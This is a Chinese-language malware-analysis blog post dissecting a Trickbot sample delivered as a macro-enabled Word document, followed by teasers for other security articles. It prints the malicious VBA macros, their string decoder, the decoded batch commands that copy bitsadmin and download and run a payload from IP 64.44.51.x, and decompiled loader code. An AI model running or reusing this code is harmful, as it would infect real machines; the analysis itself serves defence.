trickbot病毒分析

VSole2022-03-25 06:45:38

概述

最近微软发布了一款Trickbot扫描器[1]

该木马近期在app.any.run公开任务的提交趋势如下[2]

获取一个样本[2],进行分析

原始样本(doc)分析

打开之后是这样的

这里包含一定的社会工程操作,如果受害者对此类攻击不熟悉,就会点击启用宏导致样本执行。

使用oletools查看一下宏

C:\Users\IEUser\Desktop\trickbot>mraptor trickbot.doc
MacroRaptor 0.56.2 - http://decalage.info/python/oletools
This is work in progress, please report issues at https://github.com/decalage2/oletools/issues
----------+-----+----+--------------------------------------------------------
Result    |Flags|Type|File
----------+-----+----+--------------------------------------------------------
SUSPICIOUS|AWX  |OpX:|trickbot.doc
Flags: A=AutoExec, W=Write, X=Execute
Exit code: 20 - SUSPICIOUS
FLARE Tue 03/22/2022  0:41:10.52

使用olevba查看一下宏列表

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |autoopen            |Runs when the Word document is opened        |
|AutoExec  |Document_Close      |Runs when the Word document is closed        |
|AutoExec  |Document_New        |Runs when a new Word document is created     |
|AutoExec  |Label1_Click        |Runs when the file is opened and ActiveX     |
|          |                    |objects trigger events                       |
|AutoExec  |TextBox1_Change     |Runs when the file is opened and ActiveX     |
|          |                    |objects trigger events                       |
|Suspicious|Environ             |May read system environment variables        |
|Suspicious|Open                |May open a file                              |
|Suspicious|Output              |May write to a file (if combined with Open)  |
|Suspicious|Print #             |May write to a file (if combined with Open)  |
|Suspicious|ShellExecute        |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|ShellExecuteA       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|shell32             |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Windows             |May enumerate application windows (if        |
|          |                    |combined with Shell.Application object)      |
|Suspicious|Lib                 |May run code from a DLL                      |
|Suspicious|Chr                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |script1.bat         |Executable file name                         |
|IOC       |script11.bat        |Executable file name                         |
|IOC       |script2.bat         |Executable file name                         |
|IOC       |script3.bat         |Executable file name                         |
|IOC       |script4.bat         |Executable file name                         |
|Hex String|4TVq                |34545671                                     |
+----------+--------------------+---------------------------------------------+

并提取出宏,分阶段分析

首先声明获取系统版本的函数,并且在开始时自动执行一些函数

Option Explicit
#If Win64 Then
Private Declare PtrSafe Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long  ''PtrSafe
#Else
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long  ''PtrSafe
#End If
Private Type OSVERSIONINFO ' 声明系统版本结构体,便于获取信息
    dwOSVersionInfoSize As Long
    dwMajorVersion As Long
    dwMinorVersion As Long
    dwBuildNumber As Long
    dwPlatformId As Long
    szCSDVersion As String * 128
End Type
Dim NameJob As String
Dim NameApp As String
Dim TT As String
Dim NameLoad As String
Dim Count As Byte
Dim s1, s11, s2, s3, t1 As String
Sub ducument_open()
    MsgBox ("ducument_open")
End Sub
Sub autoopen()
#Const CVV = "8989"
#If v = "9200" Or v = "787.17763.111" Then
''MsgBox "ok"
#Else
''MsgBox "else"
#End If
Dim SSS As Integer
NameJob = ""
Count = 0
NameApp = ""
NameLoad = ""
Start 3.14
End Sub

函数结尾执行了Start函数,参数是3.14

Sub Start(DD As Double, Optional NXT As Byte = 0)
Dim SSS As Integer
Dim ff
Dim tmp As String
If DD = Round(377 / 120, 2) Then ' Round(377/120,2)恰好是3.14
'MsgBox NXT
    VerWin
    Count = 0
    NameApp = ""
    NameLoad = ""
    tmp = Environ("tmp")
' 解密字符串
s1 = Vnoc("b.iynpyb.iynbybwaoynmyn2ysr\ti\ps3cocex.%d3Y\ecVi.\t/x xyse.as3", "nY%dpytmsiaoe.c\Vwx/b32r ") + GetRandName(10) + GetRandExp() + Vnoc("errebp\&ab2c%s3aptt1i perrebp\&ab2c%s3ap.1i perrebp\&ab2c%s3apm1i p", "me%t&\bpr2ias.3 c1", 4)
    
s11 = Vnoc("4r2cg4c4r2cgnc5m1-c 1cpcd.i..i/6i6pd", "5cr2-i6/4np mdg.1", 7) + Chr(13) + Chr(10) + Vnoc("6)9r42202s4 4sr11t9v%4(9%=1ofle94s%49v%4(9%=1ioe", "06)tle(s4v%= r192oif", 3)
    
   
s2 = Vnoc("eiumodmeiumoemrti/ crmorm", "mtdc/ irueo") + GetRandTime(3) + Vnoc("enm%/bk&teppea\kroa ", "%\rpkna botm&e/") + NameApp + " /transfer " + _
    GetRandJName(10) + Vnoc("epth:inhytep.dshdso4e\s%\e\oo. pplr5rr5m651/r1pwaodh5.%.e1ow.1g", "h4:pl\r .ngde5i%tams1oyw/6", 5) + GetRandName2(11) + GetRandExp() '
    
s3 = Vnoc("m /otcom /otmoiu deriotio", "rmodtuc e/i") + GetRandTime(4) + Vnoc("erb%/atn&eppekmt\ok ", "b oam&/e%n\prtk") + NameLoad + _
    Vnoc("..a2 tabrabfa/i pl/sm%ecli&\d1ia/i pl/sm%ecli3\d1ia/i pl/sm%ecliq\d1i", "slcb3ra.mt%dqe1\pi/2f &", 8) + _
    Vnoc("biep aimc\%tae44r1.ebiep aimc\%taesr1.ebiep aim", "srmt1ac% e4.\ibp") + NameApp + GetRandExp()
    
t1 = Vnoc("ormt ctormt otierdu/it it", "muir/ec dot", 3) + GetRandTime(13) + Vnoc("t\ &ao%mptkktb/erbn", "/mr\eon%& bktap", 3) + NameApp + Vnoc("iNgue SmsSrsuoo/TtuSPei", "PoTmS/tgNer usi", 3) + _
    NameJob + Vnoc("&2t2&mm&p% \1pe", " %m1et&p\2") + NameApp + Vnoc("t MlyRD/rlyaeSlniet", "eMtD/alRyS inr") + NameJob + " 4"
With Form1
    .Label2 = s2
    .Label3 = s3
.Label4 = t1
End With
ff = FreeFile
Open tmp + "\script1.bat" For Output As #ff
Print #ff, s1
Close #ff
ff = FreeFile
Open tmp + "\script11.bat" For Output As #ff
Print #ff, s11
Close #ff
ff = FreeFile
Open tmp + "\script2.bat" For Output As #ff
Print #ff, s2
Close #ff
ff = FreeFile
Open tmp + "\script3.bat" For Output As #ff
Print #ff, s3
Close #ff
ff = FreeFile
Open tmp + "\script4.bat" For Output As #ff
Print #ff, t1
Close #ff
End If
tmp = s1
s2 = "JHHGhdrrj7745"
s3 = "7455jkjjhHGGhgh471"
End Sub

这里用到了一个解密字符串的函数Vnoc,解密完成后写入到一系列文件中

Function Vnoc(ES As String, MK As String, Optional Oset As Integer = 6) As String
Dim I, CurPosSym, Offset As Integer
Dim CurSymbol, NewSymbol As String
Dim NewString As String
Dim TEST1 As String
''MK = "yocixniyocixyiy\/:ix%ixmiy .Ypac\Yw.w:wVtobK.2pVwecopast3tirVto/r.::OndY3st3t"
  Offset = Oset
  NewString = ""
  For I = 1 To Len(ES)
    CurSymbol = Mid(ES, I, 1) ' Get The ith char
    CurPosSym = InStr(1, MK, CurSymbol) ' Get the position of char in MK
      If CurPosSym - Offset > 0 Then
        NewSymbol = Mid(MK, CurPosSym - Offset, 1) ' Get The CurPosSymth char
      Else
        NewSymbol = Mid(MK, CurPosSym + Len(MK) - Offset, 1) ' Get CurPosSym + Len(MK) - Offsetth char
      End If
    NewString = NewString + NewSymbol
  Next I
  Vnoc = NewString
End Function

解密逻辑比较清晰,即类凯撒解密,第一个参数是加密后的字符串,第二个参数是加密用的移位表

Start中调用这个函数,解密得到的字符串如下

:: script1.bat s1
cmd /r cmd /c copy /Y /V %windir%\system32\bitsadmin.exe %tmp%\hexM0^0.exe && %temp%\script11.bat && %temp%\script2.bat && %temp%\script3.bat
:: script11.bat s11
cmd /c cmd /r ping -n 2 64.44.51.126
if %errorlevel%==0 (set s4=126) else (set s4=91)
:: script2.bat s2
cmd /r cmd /c timeout /t 5 /nobreak && 
%temp%\hexM0^0 /transfer "eClKsn" /download /priority high http://64.44.51.%s4%/metro.pgp %tmp%\0o60p0$0.exe
:: script3.bat s3
cmd /r cmd /c timeout /t 5 /nobreak && 
%temp%\0o60p0$0 && del /f /q %temp%\script1.bat %temp%\script2.bat %temp%\script3.bat %temp%\script11.bat %temp%\script4.bat %temp%\hexM0^0.exe
:: script4.bat t1
cmd /r cmd /c timeout /t 14 /nobreak && %tmp%\hexM0^0 /SetNoProgressTimeout "eClKsn" 121 && %temp%\hexM0^0 /SetMinRetryDelay "eClKsn" 4

接下来就是文档关闭时的动作了

Private Sub Document_Close()
With Form1.Label1
    If .Width + .Top > 100 Then
        .Caption = s1
        s1 = "(834jdd+="
        Form1.Label1_Click
    End If
End With
End Sub

调用了Form1的Label1_Click

'VBA MACRO Form1.frm 
'in file: word/vbaProject.bin - OLE stream: 'VBA/Form1'
'- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Option Explicit
#If Win64 Then
Private Declare PtrSafe Function ShellExecute Lib "shell32" _
    Alias "ShellExecuteA" (ByVal hwnd As Long, _
    ByVal lpOperation As String, ByVal lpFile As String, _
    ByVal lpParameters As String, ByVal lpDirectory As String, _
    ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
#Else
Private Declare Function ShellExecute Lib "shell32" _
    Alias "ShellExecuteA" (ByVal hwnd As Long, _
    ByVal lpOperation As String, ByVal lpFile As String, _
    ByVal lpParameters As String, ByVal lpDirectory As String, _
    ByVal nShowCmd As Long) As Long
Private Const SW_SHOWNORMAL = 1
#End If
Public Sub Label1_Click()
    TextBox1.Value = 34545671
End Sub
Private Sub Label3_Click()
End Sub
Function start2(ByVal pid As Integer, ByVal pam1 As String, ByVal pam2 As String, pamW As Integer) As Integer
    If Len(pam1) = 3 And Asc(Mid(pam1, 2, 1)) = 109 Then
        start2 = ShellExecute(pid, vbNullString, pam1, pam2, ThisDocument.Path, pamW)
    End If
   start2 = 1
End Function
Private Sub TextBox1_Change()
    If TextBox2.Height > 1 Then
        TextBox2.Text = "*&87873jnhjhsJJHGGF==+++"
    End If
End Sub
Private Sub TextBox2_Change()
Dim w1 As String
    If TextBox3.Width > 5 + 2 Then
        w1 = CStr(Label1.Caption)
        TextBox3.Text = "HGHGhwegrbce74546567"
    End If
End Sub
Private Sub TextBox3_Change()
Dim w2 As String
    If TextBox2.Width > TextBox3.Height Then
        w2 = Label2.Caption
        TextBox4.Text = "3485erjtghhgFDFDGJKJhjhe"
    End If
End Sub
Private Sub TextBox4_Change()
Dim w3, cor As String
Dim SF, SG As Integer
    If TextBox4.Width > TextBox3.Width + TextBox2.Width + TextBox1.Width Then
        w3 = Label1.Caption ' Gets or sets the text that appears in the control. Read/write String
        cor = Label4.Caption
        SF = start2(0, "cmd", w3, 0)
        'MsgBox Environ("res")
        SG = start2(0, "cmd", cor, 0)
    End If
End Sub

可以看到这是一个链式调用,Label1_Click触发TextBox1_Change(),然后TextBox2_Change(),TextBox3_Change(), TextBox4_Change()。最终调用start2()执行了一些命令

其它函数就是一些获取随机字符串的操作

最终执行的字符串为

w3=Label1.Caption=s1
cor=Label4.Caption=t1

也就是使用bitsadmin.exe执行script2.bat,script3.bat,script11.bat。然后执行script4.bat。首先测试链接,然后下载载荷。并且其中的script3执行了载荷。

0o60p0$0.exe分析

程序开头以及后面都输出了一些无关紧要的东西,把自己伪装成一个小游戏

printf("\t\t\tC PROGRAM QUIZ GAME");
          printf("\t\t________________________________________");
          printf("\t\t\t   WELCOME ");
          printf("\t\t\t      to ");
          printf("\t\t\t   THE GAME ");
          printf("\t\t________________________________________");
          printf("\t\t________________________________________");
          printf("\t\t   BECOME A MILLIONAIRE!!!!!!!!!!!    ");
          printf("\t\t________________________________________");
          printf("\t\t________________________________________");
          printf("\t\t > Press S to start the game");
          printf("\t\t > Press V to view the highest score  ");
          printf("\t\t > Press R to reset score");
          printf("\t\t > press H for help            ");
          printf("\t\t > press Q to quit             ");
          printf("\t\t________________________________________");

但是中间解密并执行了一些数据

decrypt_string("5w5EzPC0C10QrKw(", aUuo, 3662);
          decrypt_string("5w5EzPC0C10QrKw(", aUuIu, 692);
          v6 = VirtualAlloc(0, 0xE4Eu, 0x1000u, 0x40u);
          memmove(v6, aUuo, 0xE4Eu);
          v5 = VirtualAlloc(0, 0x2B4u, 0x1000u, 0x40u);
          memmove(v5, aUuIu, 0x2B4u);
          GetModuleFileNameW(0, Filename, 0x400u);
          if ( is_exist(Filename) )
            ((void (*)(const char *, ...))v6)("Td5xh%r7dqisN#s", 16, &unk_425000, 165888);
          ((void (__cdecl *)(void *))v5)(&unk_425000);

解密算法如下

int __cdecl decrypt_string(const char *a1, char *a2, int a3)
{
  int result; // eax
  unsigned int i; // [esp+Ch] [ebp-8h]
  for ( i = 0; i != a3; ++i )
  {
    a2[i] ^= a1[i % strlen(a1)];
    result = i + 1;
  }
  return result;
}

分析解密后的数据

第一个函数分析

BOOL __cdecl sub_41D955(int a1, int a2, int a3, int a4)
{
  BOOL result; // eax
  //...
  if ( a2 <= 0 || a2 > 16 )
    return 0;
  v9 = sub_41D826();
  v21 = 0;
  //...
  strcpy(v13, "RSA2");
  //...
  strcpy(v19, "advapi32.dll");
  strcpy(v14, "CryptAcquireContextA");
  strcpy(v17, "CryptImportKey");
  strcpy(v18, "CryptEncrypt");
  v8 = (int (__stdcall *)(char *))sub_41D8B9(v9, -1970583946); // LoadLibraryA
  v11 = (int (__stdcall *)(int, char *))sub_41D8B9(v9, 449506938); // GetProcAddress
  v22 = 0;
  v22 = v8(v19);
  v21 = (int (__stdcall *)(int *, _DWORD, _DWORD, int, int))v11(v22, v14); // CryptAcquireContextA
  v10 = (int (__stdcall *)(int, char *, int, int, _DWORD, int *))v11(v22, v17); // CryptImportKey
  v5 = (int (__stdcall *)(int, _DWORD, int, _DWORD, int, int *, int))v11(v22, v18); // CryptEncrypt
  v23 = 0;
  if ( !v21(&v23, 0, 0, 1, 0) && !v21(&v23, 0, 0, 1, 8) && !v21(&v23, 0, 0, 1, -268435456) )
    return 0;
  v7 = 0;
  if ( !v10(v23, v12, 308, 0, 0, &v7) )
    return 0;
  for ( i = 0; i < a2; ++i )
    v16[i] = *(_BYTE *)(a1 + a2 - i - 1);
  v16[a2] = 0;
  for ( j = a2 + 1; j < 62; ++j )
    v16[j] = 1;
  v6 = 0;
  if ( v10(v23, v15, 76, v7, 0, &v6) )
    result = v5(v6, 0, 1, 0, a3, &a4, a4) != 0; // 加密a3中a4个大小的数据
  else
    result = 0;
  return result;
}

首先加载一系列的加密库,然后加载硬编码的RSA key

加密过程实际上解密了一个dll,解密后的数据如下

第二个函数分析

int __stdcall sub_26E650(int a1)
{
  //...
  v4 = &v2;
  v5 = sub_26E6C6();
  v3 = (void (__cdecl *)(char *, _DWORD, int))sub_26E757(v5, 472671547); // memset
  v3(v4, 0, 32);
  return sub_26E7F3(a1);
}

最后一个函数sub_26e7f3

int __cdecl sub_26E7F3(int a1)
{
  //...
  varC = *(_DWORD *)(a1 + 60) + a1;
  var1C = sub_26E690();
  var20 = sub_26E6C6();
  var24 = (int (__stdcall *)(_DWORD, _DWORD, int, int))sub_26E757(var1C, 808369692); // VirtualAlloc
  var2C = (void (__cdecl *)(int, int, _DWORD))sub_26E757(var20, 478437696);// memcpy
  var14 = var24(0, *(_DWORD *)(varC + 80), 4096, 64);
  var8 = *(_WORD *)(varC + 6);
  var10 = varC + *(unsigned __int16 *)(varC + 20) + 24;
  for ( var4 = 0; var4 < (int)var8; ++var4 )
    var2C(
      *(_DWORD *)(var10 + 40 * var4 + 12) + var14,
      *(_DWORD *)(var10 + 40 * var4 + 20) + a1,
      *(_DWORD *)(var10 + 40 * var4 + 16));
  ((void (__cdecl *)(int, int, int))(*(_DWORD *)(varC + 40) + var14))(
    varC + 128,
    var10 + 40 * var8 - a1,
    *(_DWORD *)(varC + 40) + var14);
  return 1;
}

后续行为比较复杂,但是从app.any.run的报告来看,该样本还是有一些trickbot的行为。

其他行为后续会继续分析。

总结

该样本以最初的docm文档呈现,office是不会阻挡docm的宏的加载的。且该样本层层套娃,以多种方式逃避自动化分析。

防范措施:不要打开来历不明的文件,经常安装、更新杀毒软件。

stringchar函数
本作品采用《CC 协议》,转载必须注明作者和本文链接
无意中看到ch1ng师傅的文章觉得很有趣,不得不感叹师傅太厉害了,但我一看那长篇的函数总觉得会有更骚的东西,所幸还真的有,借此机会就发出来一探究竟,同时也不得不感慨下RFC文档的妙处,当然本文针对的技术也仅仅只是在流量层面上waf的绕过。Pre很神奇对吧,当然这不是终点,接下来我们就来一探究竟。前置这里简单说一下师傅的思路部署与处理上传war的servlet是?
在Windows大部分应用都是基于消息机制,他们都拥有一个消息过程函数,根据不同消息完成不同功能,windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数
全局钩子注入在Windows大部分应用都是基于消息机制,他们都拥有一个消息过程函数,根据不同消息完成不同功能,windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数
免杀知识汇总
2021-08-25 23:11:00
免杀知识汇总
本文更多的是根据调试Windows Server 2003,分析漏洞成因。但是AD域并没有对其进行强校验。通过建立与域控同名却不以\$结尾的机器账户,即DC,对域控进行欺骗。至此便得到了高权限ST。从上图中可以很明确的看到域控的机器名为WINSRVSERVER$,之后会使用WINSRVSERVER作为机器账户名进行欺骗。攻击准备工作相关准备工作不是本文重点,可以在noPac项目中学习。
Frida工作原理学习
2022-07-12 16:28:29
frida是一款便携的、自由的、支持全平台的hook框架,可以通过编写JavaScript、Python代码来和frida_server端进行交互,还记得当年用xposed时那种写了一大堆代码每次修改都要重新打包安装重启手机、那种调试调到头皮发麻的痛苦,百分之30的时间都是在那里安装重启安装重启。
Dll注入
2021-11-08 14:57:41
最近太忙啦XDM,又在做一些列的分析复现工作量有点大,更新要慢一点了。一致,也不会覆盖其他的进程信息。
1背景最近有统计覆盖率信息的需求,多方搜索后发现IDA插件Lighthouse具有统计覆盖率的功能,通过读取DynamoRIO或者Pin产生的覆盖率日志文件,在IDA中以图形化形式展现代码的详细执行路径。
近期接着之前的进度终于啃完了这一章,这里给大家继续同步K A, Monnappa.《Forensic Learning Malware Analysis》精要翻译,以及翻译过程中的一些小实践记录。
VSole
网络安全专家